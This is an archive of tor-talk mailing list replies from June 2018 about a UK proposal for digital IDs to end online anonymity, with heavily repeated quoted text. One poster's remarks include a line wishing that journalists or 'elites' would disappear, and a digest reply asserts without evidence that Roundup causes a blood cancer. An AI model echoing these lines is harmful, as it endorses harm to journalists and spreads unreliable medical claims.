> Any ideas? Thanks for your help and advice.
> 
> Best,
> Yosem
> 
> P.S. I'm sending this email on behalf LT's co-founders and not Stanford
> University.
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Re: [tor-talk] Digital IDs needed to end 'mob rule' online, says UK security minister Ben Wallace - Digital IDs should be brought in to end online anoymity that permits "mob rule" and lawlessness onli

[Kevin Burress]

I mean unless you love to lie and you're not a christian..

On Mon, Jun 11, 2018, 3:31 AM Kevin Burress  wrote:

> Well I'm not willing to say that He is not. "It's a side thing."
> Understand.
>
> On Mon, Jun 11, 2018, 3:25 AM Mirimir  wrote:
>
>> On 06/10/2018 09:13 PM, Kevin Burress wrote:
>> > It is like they are saying they want the apocalypse without saying it by
>> > really saying it (anonymous) that's their way of asking, and christians
>> who
>> > are good christians and israel says "yes come Lord"
>>
>> But hey, some Islamic fundamentalists also want it. And they think that
>> God and Christ will be on _their_ side.
>>
>> > On Mon, Jun 11, 2018, 2:28 AM Kevin Burress 
>> wrote:
>> >
>> >> I mean for example historically the people of Canaan worshipped God but
>> >> Canaan was cursed. And it was about the place of the Hittites and
>> >> Canaanites who were slaughtered. But they worshipped the same God.
>> >>
>> >> On Mon, Jun 11, 2018, 2:23 AM Kevin Burress 
>> >> wrote:
>> >>
>> >>> In fact I would imagine given the content and staining and such it
>> would
>> >>> make it more sure that He wants to do it.
>> >>>
>> >>> On Mon, Jun 11, 2018, 2:21 AM Kevin Burress 
>> >>> wrote:
>> >>>
>> >>>> Well I just want to bring up that should it be the end Yahweh may
>> want
>> >>>> to use anonymity to not reveal Himself to the masses.
>> >>>>
>> >>>> On Mon, Jun 11, 2018, 2:19 AM grarpamp  wrote:
>> >>>>
>> >>>>> On Sun, Jun 10, 2018 at 12:08 PM, Ben Tasker 
>> >>>>> wrote:
>> >>>>>>>
>> >>>>>
>> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
>> >>>>>
>> >>>>>> As I see it, there are two complimentary ways to fight it
>> >>>>> .
>> >>>>>> Firstly, explain (again) why it's a stupid and flawed idea.
>> >>>>>
>> >>>>> History shows that method always loses long term.
>> >>>>>
>> >>>>>> Second, keep building and supporting systems that help protect
>> >>>>> privacy and
>> >>>>>> anonymity online. That means running more tor relays as well as
>> >>>>> developing
>> >>>>>> new privacy friendly services etc. Essentially, make sure there are
>> >>>>>> alternatives that cannot be affected by whatever half-baked
>> >>>>> implementation
>> >>>>>> they try to foist on us.
>> >>>>>
>> >>>>> Tools themselves will not stop the continual foisting that always
>> wins
>> >>>>> long term.
>> >>>>>
>> >>>>> Note this UK US scam has been spooling up for a wider G7 drop for a
>> >>>>> while now...
>> >>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037851.html
>> >>>>>
>> https://lists.cpunks.org/pipermail/cypherpunks/2017-March/036940.html
>> >>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037948.html
>> >>>>>
>> >>>>> The subject problem is that government is now redundant to your own
>> >>>>> better
>> >>>>> capabilities as human beings, now evolved and connected to the
>> wealth of
>> >>>>> instant global knowledge and comms. There's no longer a need for
>> such a
>> >>>>> central store of knowledge, action, and programming that, among
>> other
>> >>>>> things,
>> >>>>> says that murder and theft are good, since now you can go online
>> and see
>> >>>>> that it is plainly bad, and contribute to better together, directly.
>> >>>>> The solution is thus to go further this time and finally discontinue
>> >>>>> that old redundant system.
>> >>>>>
>> >>>>> That connectedness is a "mob rule" they speak of... more properly a
>> >>>>> "decentralized" mode, with voluntarist, anarchist, libertarian
>> >>>>> flavors, coordinated
>> >>&

Re: [tor-talk] Digital IDs needed to end 'mob rule' online, says UK security minister Ben Wallace - Digital IDs should be brought in to end online anoymity that permits "mob rule" and lawlessness onli

[Kevin Burress]

Well I'm not willing to say that He is not. "It's a side thing." Understand.

On Mon, Jun 11, 2018, 3:25 AM Mirimir  wrote:

> On 06/10/2018 09:13 PM, Kevin Burress wrote:
> > It is like they are saying they want the apocalypse without saying it by
> > really saying it (anonymous) that's their way of asking, and christians
> who
> > are good christians and israel says "yes come Lord"
>
> But hey, some Islamic fundamentalists also want it. And they think that
> God and Christ will be on _their_ side.
>
> > On Mon, Jun 11, 2018, 2:28 AM Kevin Burress 
> wrote:
> >
> >> I mean for example historically the people of Canaan worshipped God but
> >> Canaan was cursed. And it was about the place of the Hittites and
> >> Canaanites who were slaughtered. But they worshipped the same God.
> >>
> >> On Mon, Jun 11, 2018, 2:23 AM Kevin Burress 
> >> wrote:
> >>
> >>> In fact I would imagine given the content and staining and such it
> would
> >>> make it more sure that He wants to do it.
> >>>
> >>> On Mon, Jun 11, 2018, 2:21 AM Kevin Burress 
> >>> wrote:
> >>>
> >>>> Well I just want to bring up that should it be the end Yahweh may want
> >>>> to use anonymity to not reveal Himself to the masses.
> >>>>
> >>>> On Mon, Jun 11, 2018, 2:19 AM grarpamp  wrote:
> >>>>
> >>>>> On Sun, Jun 10, 2018 at 12:08 PM, Ben Tasker 
> >>>>> wrote:
> >>>>>>>
> >>>>>
> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
> >>>>>
> >>>>>> As I see it, there are two complimentary ways to fight it
> >>>>> .
> >>>>>> Firstly, explain (again) why it's a stupid and flawed idea.
> >>>>>
> >>>>> History shows that method always loses long term.
> >>>>>
> >>>>>> Second, keep building and supporting systems that help protect
> >>>>> privacy and
> >>>>>> anonymity online. That means running more tor relays as well as
> >>>>> developing
> >>>>>> new privacy friendly services etc. Essentially, make sure there are
> >>>>>> alternatives that cannot be affected by whatever half-baked
> >>>>> implementation
> >>>>>> they try to foist on us.
> >>>>>
> >>>>> Tools themselves will not stop the continual foisting that always
> wins
> >>>>> long term.
> >>>>>
> >>>>> Note this UK US scam has been spooling up for a wider G7 drop for a
> >>>>> while now...
> >>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037851.html
> >>>>>
> https://lists.cpunks.org/pipermail/cypherpunks/2017-March/036940.html
> >>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037948.html
> >>>>>
> >>>>> The subject problem is that government is now redundant to your own
> >>>>> better
> >>>>> capabilities as human beings, now evolved and connected to the
> wealth of
> >>>>> instant global knowledge and comms. There's no longer a need for
> such a
> >>>>> central store of knowledge, action, and programming that, among other
> >>>>> things,
> >>>>> says that murder and theft are good, since now you can go online and
> see
> >>>>> that it is plainly bad, and contribute to better together, directly.
> >>>>> The solution is thus to go further this time and finally discontinue
> >>>>> that old redundant system.
> >>>>>
> >>>>> That connectedness is a "mob rule" they speak of... more properly a
> >>>>> "decentralized" mode, with voluntarist, anarchist, libertarian
> >>>>> flavors, coordinated
> >>>>> under realtime feedback for good... an unexpected result (to their
> >>>>> geriatric
> >>>>> selves and their decades expired models and thinking) of the true
> power
> >>>>> of the Internet now arrived... a curiously interesting process taking
> >>>>> shape
> >>>>> globally... a discussion.. an exploration of alternative models, of
> >>>>> local
> >>

Re: [tor-talk] Digital IDs needed to end 'mob rule' online, says UK security minister Ben Wallace - Digital IDs should be brought in to end online anoymity that permits "mob rule" and lawlessness onli

[Kevin Burress]

It would be nice to see some bad journalists disappearing or elites. Who
want to blame israel.

On Mon, Jun 11, 2018, 3:23 AM Kevin Burress  wrote:

> Interesting the elites have a spear campaign going on against Israel
>
> Killing al-Najjar, who clearly posed no threat to its soldiers, made it
> difficult for Israel’s army to argue that its snipers targeted only
> “rioters” in Gaza and did not fire indiscriminately at peaceful protesters,
> journalists, and medics.
>
> On Mon, Jun 11, 2018, 3:13 AM Kevin Burress 
> wrote:
>
>> It is like they are saying they want the apocalypse without saying it by
>> really saying it (anonymous) that's their way of asking, and christians who
>> are good christians and israel says "yes come Lord"
>>
>> On Mon, Jun 11, 2018, 2:28 AM Kevin Burress 
>> wrote:
>>
>>> I mean for example historically the people of Canaan worshipped God but
>>> Canaan was cursed. And it was about the place of the Hittites and
>>> Canaanites who were slaughtered. But they worshipped the same God.
>>>
>>> On Mon, Jun 11, 2018, 2:23 AM Kevin Burress 
>>> wrote:
>>>
>>>> In fact I would imagine given the content and staining and such it
>>>> would make it more sure that He wants to do it.
>>>>
>>>> On Mon, Jun 11, 2018, 2:21 AM Kevin Burress 
>>>> wrote:
>>>>
>>>>> Well I just want to bring up that should it be the end Yahweh may want
>>>>> to use anonymity to not reveal Himself to the masses.
>>>>>
>>>>> On Mon, Jun 11, 2018, 2:19 AM grarpamp  wrote:
>>>>>
>>>>>> On Sun, Jun 10, 2018 at 12:08 PM, Ben Tasker 
>>>>>> wrote:
>>>>>> >>
>>>>>> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
>>>>>>
>>>>>> > As I see it, there are two complimentary ways to fight it
>>>>>> .
>>>>>> > Firstly, explain (again) why it's a stupid and flawed idea.
>>>>>>
>>>>>> History shows that method always loses long term.
>>>>>>
>>>>>> > Second, keep building and supporting systems that help protect
>>>>>> privacy and
>>>>>> > anonymity online. That means running more tor relays as well as
>>>>>> developing
>>>>>> > new privacy friendly services etc. Essentially, make sure there are
>>>>>> > alternatives that cannot be affected by whatever half-baked
>>>>>> implementation
>>>>>> > they try to foist on us.
>>>>>>
>>>>>> Tools themselves will not stop the continual foisting that always wins
>>>>>> long term.
>>>>>>
>>>>>> Note this UK US scam has been spooling up for a wider G7 drop for a
>>>>>> while now...
>>>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037851.html
>>>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-March/036940.html
>>>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037948.html
>>>>>>
>>>>>> The subject problem is that government is now redundant to your own
>>>>>> better
>>>>>> capabilities as human beings, now evolved and connected to the wealth
>>>>>> of
>>>>>> instant global knowledge and comms. There's no longer a need for such
>>>>>> a
>>>>>> central store of knowledge, action, and programming that, among other
>>>>>> things,
>>>>>> says that murder and theft are good, since now you can go online and
>>>>>> see
>>>>>> that it is plainly bad, and contribute to better together, directly.
>>>>>> The solution is thus to go further this time and finally discontinue
>>>>>> that old redundant system.
>>>>>>
>>>>>> That connectedness is a "mob rule" they speak of... more properly a
>>>>>> "decentralized" mode, with voluntarist, anarchist, libertarian
>>>>>> flavors, coordinated
>>>>>> under realtime feedback for good... an unexpected result (to their
>>>>>> geriatric
>>>>>> selves and their decades expired models and thinking) of the true
>>>>>> power
>&

Re: [tor-talk] Digital IDs needed to end 'mob rule' online, says UK security minister Ben Wallace - Digital IDs should be brought in to end online anoymity that permits "mob rule" and lawlessness onli

[Kevin Burress]

Interesting the elites have a spear campaign going on against Israel

Killing al-Najjar, who clearly posed no threat to its soldiers, made it
difficult for Israel’s army to argue that its snipers targeted only
“rioters” in Gaza and did not fire indiscriminately at peaceful protesters,
journalists, and medics.

On Mon, Jun 11, 2018, 3:13 AM Kevin Burress  wrote:

> It is like they are saying they want the apocalypse without saying it by
> really saying it (anonymous) that's their way of asking, and christians who
> are good christians and israel says "yes come Lord"
>
> On Mon, Jun 11, 2018, 2:28 AM Kevin Burress 
> wrote:
>
>> I mean for example historically the people of Canaan worshipped God but
>> Canaan was cursed. And it was about the place of the Hittites and
>> Canaanites who were slaughtered. But they worshipped the same God.
>>
>> On Mon, Jun 11, 2018, 2:23 AM Kevin Burress 
>> wrote:
>>
>>> In fact I would imagine given the content and staining and such it would
>>> make it more sure that He wants to do it.
>>>
>>> On Mon, Jun 11, 2018, 2:21 AM Kevin Burress 
>>> wrote:
>>>
>>>> Well I just want to bring up that should it be the end Yahweh may want
>>>> to use anonymity to not reveal Himself to the masses.
>>>>
>>>> On Mon, Jun 11, 2018, 2:19 AM grarpamp  wrote:
>>>>
>>>>> On Sun, Jun 10, 2018 at 12:08 PM, Ben Tasker 
>>>>> wrote:
>>>>> >>
>>>>> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
>>>>>
>>>>> > As I see it, there are two complimentary ways to fight it
>>>>> .
>>>>> > Firstly, explain (again) why it's a stupid and flawed idea.
>>>>>
>>>>> History shows that method always loses long term.
>>>>>
>>>>> > Second, keep building and supporting systems that help protect
>>>>> privacy and
>>>>> > anonymity online. That means running more tor relays as well as
>>>>> developing
>>>>> > new privacy friendly services etc. Essentially, make sure there are
>>>>> > alternatives that cannot be affected by whatever half-baked
>>>>> implementation
>>>>> > they try to foist on us.
>>>>>
>>>>> Tools themselves will not stop the continual foisting that always wins
>>>>> long term.
>>>>>
>>>>> Note this UK US scam has been spooling up for a wider G7 drop for a
>>>>> while now...
>>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037851.html
>>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-March/036940.html
>>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037948.html
>>>>>
>>>>> The subject problem is that government is now redundant to your own
>>>>> better
>>>>> capabilities as human beings, now evolved and connected to the wealth
>>>>> of
>>>>> instant global knowledge and comms. There's no longer a need for such a
>>>>> central store of knowledge, action, and programming that, among other
>>>>> things,
>>>>> says that murder and theft are good, since now you can go online and
>>>>> see
>>>>> that it is plainly bad, and contribute to better together, directly.
>>>>> The solution is thus to go further this time and finally discontinue
>>>>> that old redundant system.
>>>>>
>>>>> That connectedness is a "mob rule" they speak of... more properly a
>>>>> "decentralized" mode, with voluntarist, anarchist, libertarian
>>>>> flavors, coordinated
>>>>> under realtime feedback for good... an unexpected result (to their
>>>>> geriatric
>>>>> selves and their decades expired models and thinking) of the true power
>>>>> of the Internet now arrived... a curiously interesting process taking
>>>>> shape
>>>>> globally... a discussion.. an exploration of alternative models, of
>>>>> local
>>>>> and self governance, an elimination of redundancy and inefficiency,
>>>>> reclamation and redeployment of all things ceded.
>>>>>
>>>>> So of course they want to "Digital ID" that, to censor it, balkanize,
>>>>> shape,
>>>&

Re: [tor-talk] Digital IDs needed to end 'mob rule' online, says UK security minister Ben Wallace - Digital IDs should be brought in to end online anoymity that permits "mob rule" and lawlessness onli

[Kevin Burress]

It is like they are saying they want the apocalypse without saying it by
really saying it (anonymous) that's their way of asking, and christians who
are good christians and israel says "yes come Lord"

On Mon, Jun 11, 2018, 2:28 AM Kevin Burress  wrote:

> I mean for example historically the people of Canaan worshipped God but
> Canaan was cursed. And it was about the place of the Hittites and
> Canaanites who were slaughtered. But they worshipped the same God.
>
> On Mon, Jun 11, 2018, 2:23 AM Kevin Burress 
> wrote:
>
>> In fact I would imagine given the content and staining and such it would
>> make it more sure that He wants to do it.
>>
>> On Mon, Jun 11, 2018, 2:21 AM Kevin Burress 
>> wrote:
>>
>>> Well I just want to bring up that should it be the end Yahweh may want
>>> to use anonymity to not reveal Himself to the masses.
>>>
>>> On Mon, Jun 11, 2018, 2:19 AM grarpamp  wrote:
>>>
>>>> On Sun, Jun 10, 2018 at 12:08 PM, Ben Tasker 
>>>> wrote:
>>>> >>
>>>> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
>>>>
>>>> > As I see it, there are two complimentary ways to fight it
>>>> .
>>>> > Firstly, explain (again) why it's a stupid and flawed idea.
>>>>
>>>> History shows that method always loses long term.
>>>>
>>>> > Second, keep building and supporting systems that help protect
>>>> privacy and
>>>> > anonymity online. That means running more tor relays as well as
>>>> developing
>>>> > new privacy friendly services etc. Essentially, make sure there are
>>>> > alternatives that cannot be affected by whatever half-baked
>>>> implementation
>>>> > they try to foist on us.
>>>>
>>>> Tools themselves will not stop the continual foisting that always wins
>>>> long term.
>>>>
>>>> Note this UK US scam has been spooling up for a wider G7 drop for a
>>>> while now...
>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037851.html
>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-March/036940.html
>>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037948.html
>>>>
>>>> The subject problem is that government is now redundant to your own
>>>> better
>>>> capabilities as human beings, now evolved and connected to the wealth of
>>>> instant global knowledge and comms. There's no longer a need for such a
>>>> central store of knowledge, action, and programming that, among other
>>>> things,
>>>> says that murder and theft are good, since now you can go online and see
>>>> that it is plainly bad, and contribute to better together, directly.
>>>> The solution is thus to go further this time and finally discontinue
>>>> that old redundant system.
>>>>
>>>> That connectedness is a "mob rule" they speak of... more properly a
>>>> "decentralized" mode, with voluntarist, anarchist, libertarian
>>>> flavors, coordinated
>>>> under realtime feedback for good... an unexpected result (to their
>>>> geriatric
>>>> selves and their decades expired models and thinking) of the true power
>>>> of the Internet now arrived... a curiously interesting process taking
>>>> shape
>>>> globally... a discussion.. an exploration of alternative models, of
>>>> local
>>>> and self governance, an elimination of redundancy and inefficiency,
>>>> reclamation and redeployment of all things ceded.
>>>>
>>>> So of course they want to "Digital ID" that, to censor it, balkanize,
>>>> shape,
>>>> track, control, criminalize, and shut it down before they
>>>> themselves are.
>>>>
>>>> The fact that they've resorted to deploying worldwide surveillance,
>>>> the Four Horsemen of the Infocalypse FUD and more, spinning
>>>> it out 24x365 nonstop now in survival mode, shows they know their
>>>> own end is coming.
>>>>
>>>> Make, keep and use tools... "systems that help protect privacy and
>>>> anonymity online... develop new privacy friendly services etc"...
>>>> not just to hide and shield from the foisting, but to fix and learn
>>>> new thinking, thus ending it for good.
>>>>
>>>> The math is simpler than crypto...
>>>> https://www.youtube.com/watch?v=H6b70TUbdfs
>>>> https://www.youtube.com/watch?v=DVEzdh4PMDI
>>>> --
>>>> tor-talk mailing list - tor-talk@lists.torproject.org
>>>> To unsubscribe or change other settings go to
>>>> https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-talk
>>>>
>>>
-- 
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Re: [tor-talk] Digital IDs needed to end 'mob rule' online, says UK security minister Ben Wallace - Digital IDs should be brought in to end online anoymity that permits "mob rule" and lawlessness onli

[Kevin Burress]

I mean for example historically the people of Canaan worshipped God but
Canaan was cursed. And it was about the place of the Hittites and
Canaanites who were slaughtered. But they worshipped the same God.

On Mon, Jun 11, 2018, 2:23 AM Kevin Burress  wrote:

> In fact I would imagine given the content and staining and such it would
> make it more sure that He wants to do it.
>
> On Mon, Jun 11, 2018, 2:21 AM Kevin Burress 
> wrote:
>
>> Well I just want to bring up that should it be the end Yahweh may want to
>> use anonymity to not reveal Himself to the masses.
>>
>> On Mon, Jun 11, 2018, 2:19 AM grarpamp  wrote:
>>
>>> On Sun, Jun 10, 2018 at 12:08 PM, Ben Tasker 
>>> wrote:
>>> >>
>>> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
>>>
>>> > As I see it, there are two complimentary ways to fight it
>>> .
>>> > Firstly, explain (again) why it's a stupid and flawed idea.
>>>
>>> History shows that method always loses long term.
>>>
>>> > Second, keep building and supporting systems that help protect privacy
>>> and
>>> > anonymity online. That means running more tor relays as well as
>>> developing
>>> > new privacy friendly services etc. Essentially, make sure there are
>>> > alternatives that cannot be affected by whatever half-baked
>>> implementation
>>> > they try to foist on us.
>>>
>>> Tools themselves will not stop the continual foisting that always wins
>>> long term.
>>>
>>> Note this UK US scam has been spooling up for a wider G7 drop for a
>>> while now...
>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037851.html
>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-March/036940.html
>>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037948.html
>>>
>>> The subject problem is that government is now redundant to your own
>>> better
>>> capabilities as human beings, now evolved and connected to the wealth of
>>> instant global knowledge and comms. There's no longer a need for such a
>>> central store of knowledge, action, and programming that, among other
>>> things,
>>> says that murder and theft are good, since now you can go online and see
>>> that it is plainly bad, and contribute to better together, directly.
>>> The solution is thus to go further this time and finally discontinue
>>> that old redundant system.
>>>
>>> That connectedness is a "mob rule" they speak of... more properly a
>>> "decentralized" mode, with voluntarist, anarchist, libertarian
>>> flavors, coordinated
>>> under realtime feedback for good... an unexpected result (to their
>>> geriatric
>>> selves and their decades expired models and thinking) of the true power
>>> of the Internet now arrived... a curiously interesting process taking
>>> shape
>>> globally... a discussion.. an exploration of alternative models, of local
>>> and self governance, an elimination of redundancy and inefficiency,
>>> reclamation and redeployment of all things ceded.
>>>
>>> So of course they want to "Digital ID" that, to censor it, balkanize,
>>> shape,
>>> track, control, criminalize, and shut it down before they themselves
>>> are.
>>>
>>> The fact that they've resorted to deploying worldwide surveillance,
>>> the Four Horsemen of the Infocalypse FUD and more, spinning
>>> it out 24x365 nonstop now in survival mode, shows they know their
>>> own end is coming.
>>>
>>> Make, keep and use tools... "systems that help protect privacy and
>>> anonymity online... develop new privacy friendly services etc"...
>>> not just to hide and shield from the foisting, but to fix and learn
>>> new thinking, thus ending it for good.
>>>
>>> The math is simpler than crypto...
>>> https://www.youtube.com/watch?v=H6b70TUbdfs
>>> https://www.youtube.com/watch?v=DVEzdh4PMDI
>>> --
>>> tor-talk mailing list - tor-talk@lists.torproject.org
>>> To unsubscribe or change other settings go to
>>> https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-talk
>>>
>>
-- 
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Re: [tor-talk] Digital IDs needed to end 'mob rule' online, says UK security minister Ben Wallace - Digital IDs should be brought in to end online anoymity that permits "mob rule" and lawlessness onli

[Kevin Burress]

In fact I would imagine given the content and staining and such it would
make it more sure that He wants to do it.

On Mon, Jun 11, 2018, 2:21 AM Kevin Burress  wrote:

> Well I just want to bring up that should it be the end Yahweh may want to
> use anonymity to not reveal Himself to the masses.
>
> On Mon, Jun 11, 2018, 2:19 AM grarpamp  wrote:
>
>> On Sun, Jun 10, 2018 at 12:08 PM, Ben Tasker  wrote:
>> >>
>> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
>>
>> > As I see it, there are two complimentary ways to fight it
>> .
>> > Firstly, explain (again) why it's a stupid and flawed idea.
>>
>> History shows that method always loses long term.
>>
>> > Second, keep building and supporting systems that help protect privacy
>> and
>> > anonymity online. That means running more tor relays as well as
>> developing
>> > new privacy friendly services etc. Essentially, make sure there are
>> > alternatives that cannot be affected by whatever half-baked
>> implementation
>> > they try to foist on us.
>>
>> Tools themselves will not stop the continual foisting that always wins
>> long term.
>>
>> Note this UK US scam has been spooling up for a wider G7 drop for a while
>> now...
>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037851.html
>> https://lists.cpunks.org/pipermail/cypherpunks/2017-March/036940.html
>> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037948.html
>>
>> The subject problem is that government is now redundant to your own better
>> capabilities as human beings, now evolved and connected to the wealth of
>> instant global knowledge and comms. There's no longer a need for such a
>> central store of knowledge, action, and programming that, among other
>> things,
>> says that murder and theft are good, since now you can go online and see
>> that it is plainly bad, and contribute to better together, directly.
>> The solution is thus to go further this time and finally discontinue
>> that old redundant system.
>>
>> That connectedness is a "mob rule" they speak of... more properly a
>> "decentralized" mode, with voluntarist, anarchist, libertarian
>> flavors, coordinated
>> under realtime feedback for good... an unexpected result (to their
>> geriatric
>> selves and their decades expired models and thinking) of the true power
>> of the Internet now arrived... a curiously interesting process taking
>> shape
>> globally... a discussion.. an exploration of alternative models, of local
>> and self governance, an elimination of redundancy and inefficiency,
>> reclamation and redeployment of all things ceded.
>>
>> So of course they want to "Digital ID" that, to censor it, balkanize,
>> shape,
>> track, control, criminalize, and shut it down before they themselves
>> are.
>>
>> The fact that they've resorted to deploying worldwide surveillance,
>> the Four Horsemen of the Infocalypse FUD and more, spinning
>> it out 24x365 nonstop now in survival mode, shows they know their
>> own end is coming.
>>
>> Make, keep and use tools... "systems that help protect privacy and
>> anonymity online... develop new privacy friendly services etc"...
>> not just to hide and shield from the foisting, but to fix and learn
>> new thinking, thus ending it for good.
>>
>> The math is simpler than crypto...
>> https://www.youtube.com/watch?v=H6b70TUbdfs
>> https://www.youtube.com/watch?v=DVEzdh4PMDI
>> --
>> tor-talk mailing list - tor-talk@lists.torproject.org
>> To unsubscribe or change other settings go to
>> https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-talk
>>
>
-- 
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Re: [tor-talk] Digital IDs needed to end 'mob rule' online, says UK security minister Ben Wallace - Digital IDs should be brought in to end online anoymity that permits "mob rule" and lawlessness onli

[Kevin Burress]

Well I just want to bring up that should it be the end Yahweh may want to
use anonymity to not reveal Himself to the masses.

On Mon, Jun 11, 2018, 2:19 AM grarpamp  wrote:

> On Sun, Jun 10, 2018 at 12:08 PM, Ben Tasker  wrote:
> >>
> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
>
> > As I see it, there are two complimentary ways to fight it
> .
> > Firstly, explain (again) why it's a stupid and flawed idea.
>
> History shows that method always loses long term.
>
> > Second, keep building and supporting systems that help protect privacy
> and
> > anonymity online. That means running more tor relays as well as
> developing
> > new privacy friendly services etc. Essentially, make sure there are
> > alternatives that cannot be affected by whatever half-baked
> implementation
> > they try to foist on us.
>
> Tools themselves will not stop the continual foisting that always wins
> long term.
>
> Note this UK US scam has been spooling up for a wider G7 drop for a while
> now...
> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037851.html
> https://lists.cpunks.org/pipermail/cypherpunks/2017-March/036940.html
> https://lists.cpunks.org/pipermail/cypherpunks/2017-May/037948.html
>
> The subject problem is that government is now redundant to your own better
> capabilities as human beings, now evolved and connected to the wealth of
> instant global knowledge and comms. There's no longer a need for such a
> central store of knowledge, action, and programming that, among other
> things,
> says that murder and theft are good, since now you can go online and see
> that it is plainly bad, and contribute to better together, directly.
> The solution is thus to go further this time and finally discontinue
> that old redundant system.
>
> That connectedness is a "mob rule" they speak of... more properly a
> "decentralized" mode, with voluntarist, anarchist, libertarian
> flavors, coordinated
> under realtime feedback for good... an unexpected result (to their
> geriatric
> selves and their decades expired models and thinking) of the true power
> of the Internet now arrived... a curiously interesting process taking shape
> globally... a discussion.. an exploration of alternative models, of local
> and self governance, an elimination of redundancy and inefficiency,
> reclamation and redeployment of all things ceded.
>
> So of course they want to "Digital ID" that, to censor it, balkanize,
> shape,
> track, control, criminalize, and shut it down before they themselves
> are.
>
> The fact that they've resorted to deploying worldwide surveillance,
> the Four Horsemen of the Infocalypse FUD and more, spinning
> it out 24x365 nonstop now in survival mode, shows they know their
> own end is coming.
>
> Make, keep and use tools... "systems that help protect privacy and
> anonymity online... develop new privacy friendly services etc"...
> not just to hide and shield from the foisting, but to fix and learn
> new thinking, thus ending it for good.
>
> The math is simpler than crypto...
> https://www.youtube.com/watch?v=H6b70TUbdfs
> https://www.youtube.com/watch?v=DVEzdh4PMDI
> --
> tor-talk mailing list - tor-talk@lists.torproject.org
> To unsubscribe or change other settings go to
> https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-talk
>
-- 
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Re: [tor-talk] tor-talk Digest, Vol 89, Issue 5

[Kevin Burress]

So can you tell me is WM caused by shortened telomeres and a cell not
triggering apoptosis and instead replicating rapidly? And can that be
treated by extending telomeres?

On Sun, Jun 10, 2018, 8:31 PM ralph applegate 
wrote:

> I am world wide authority on proof of Roundup causing Waldenstrom
> Macroglobulinemia , and nobody gives a damn !
>
> On Sun, Jun 10, 2018 at 8:15 PM,  
> wrote:
> > Send tor-talk mailing list submissions to
> > tor-talk@lists.torproject.org
> >
> > To subscribe or unsubscribe via the World Wide Web, visit
> > https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-talk
> > or, via email, send a message with subject or body 'help' to
> > tor-talk-requ...@lists.torproject.org
> >
> > You can reach the person managing the list at
> > tor-talk-ow...@lists.torproject.org
> >
> > When replying, please edit your Subject line so it is more specific
> > than "Re: Contents of tor-talk digest..."
> >
> >
> > Today's Topics:
> >
> >1. Digital IDs needed to end 'mob rule' online, says UK security
> >   minister Ben Wallace - Digital IDs should be brought in to end
> >   online anoymity that permits "mob rule" and lawlessness online,
> >   the securit (gdfg dfgf)
> >2. Re: Digital IDs needed to end 'mob rule' online, says UK
> >   security minister Ben Wallace - Digital IDs should be brought in
> >   to end online anoymity that permits "mob rule" and lawlessness
> >   online, the securit (A KA)
> >3. Re: Digital IDs needed to end 'mob rule' online, says UK
> >   security minister Ben Wallace - Digital IDs should be brought in
> >   to end online anoymity that permits "mob rule" and lawlessness
> >   online, the securit (mick)
> >4. Fw:  Digital IDs needed to end 'mob rule' online, says UK
> >   security minister Ben Wallace - Digital IDs should be brought in
> >   to end online anoymity that permits "mob rule" and lawlessness
> >   online, the securit (mick)
> >5. Re: Fw: Digital IDs needed to end 'mob rule' online, says UK
> >   security minister Ben Wallace - Digital IDs should be brought in
> >   to end online anoymity that permits "mob rule" and lawlessness
> >   online, the securit (A KA)
> >6. Re: Digital IDs needed to end 'mob rule' online, says UK
> >   security minister Ben Wallace - Digital IDs should be brought in
> >   to end online anoymity that permits "mob rule" and lawlessness
> >   online, the securit (Ben Tasker)
> >7. Re: Digital IDs needed to end 'mob rule' online, says UK
> >   security minister Ben Wallace - Digital IDs should be brought in
> >   to end online anoymity that permits "mob rule" and lawlessness
> >   online, the securit (Mirimir)
> >
> >
> > --
> >
> > Message: 1
> > Date: Sun, 10 Jun 2018 17:09:22 +0200
> > From: gdfg dfgf 
> > To: , "tor-talk"
> > 
> > Subject: [tor-talk] Digital IDs needed to end 'mob rule' online, says
> > UK security minister Ben Wallace - Digital IDs should be brought
> in to
> > end online anoymity that permits "mob rule" and lawlessness
> online,
> > the securit
> > Message-ID: <20180610170922.fbf57...@net.hr>
> > Content-Type: text/plain; charset=UTF-8; format=flowed
> >
> > Digital IDs needed to end 'mob rule' online, says UK security minister
> Ben Wallace - Digital IDs should be brought in to end online anoymity that
> permits "mob rule" and lawlessness online, the security minister has said.
> >
> >
> https://www.independent.co.uk/news/uk/politics/online-digital-identification-mob-rule-online-security-minister-ben-wallace-a8390841.html
> <
